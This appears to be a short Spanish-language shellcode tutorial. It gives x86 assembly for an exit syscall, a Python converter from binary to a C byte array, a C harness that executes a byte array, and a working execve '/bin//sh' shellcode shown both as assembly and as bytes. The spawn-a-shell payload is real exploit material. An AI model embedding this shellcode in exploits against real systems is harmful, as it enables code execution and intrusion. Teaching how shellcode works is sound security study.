Pared Sur

Code (asm):
BITS 32
exit:
 xor ebx,ebx  ;ponemos 0 como argumento de exit
 xor eax,eax  ;limpiamos eax y ebx
 mov al,0x01  ;ponemos 1 en eax (es el codigo de la syscall exit)
 int 0x80  ;finalmente llamamos a la interrupcion
 
 

Code (python):
#!/usr/bin/python
from binascii import *
import sys
 
files = {}
length = []
 
def write(string):
 sys.stdout.write(string)
 
def process_file(file):
 source = open(file,"rb")
 write("char shellcode[]=\n\t\t")
 i = 1
 l = 0
 write("\"")
 for data in source.read():
  write("\\x")
  write(b2a_hex(data))
  if (i % 15)==0:
   write("\"\n\t\t\"")
  i+=1
  l+=1
 files[file[0:-4]]= l
 write("\";\n\n")
 source.close()
 
print("HDL Shellcode Lab - Bin to C") 
if(len(sys.argv)<2):
 exit(0)
process_file(sys.argv[1])
 
 

Code (c):
char shellcode[]=
  "\x31\xdb\x31\xc0\xb0\x01\xcd\x80";
 
 

Code (c):
char shellcode[] = "\x31\xdb\x31\xc0\xb0\x01\xcd\x80"; //aca ponemos nuestra shellcode
int main (int argc, char *argv[])
{
  int (*run)();   //puntero a una funcion
  run = shellcode; //asignamos la direccion de la shellcode al puntero
  run();  // y la ejecutamos
}
 
 

Code (asm):
BITS 32
        xor  eax,eax
        push eax
        push dword 0x68732f6e  ;ponemos a /bin/sh en la pila                   
        push dword 0x69622f2f
        mov  ebx,esp     ;y le damos la direccion de /bin/sh a ebx       
 xor  edx,edx
        push edx  ;ponemos el resto de los argumentos en la pila  
        push ebx
        mov ecx,esp
        mov al,0x0b  ;llamamos a la syscall 0x0b (execve)            
        int 0x80
 
 

Code (c):
char shellcode[]=
  "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
  "\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80";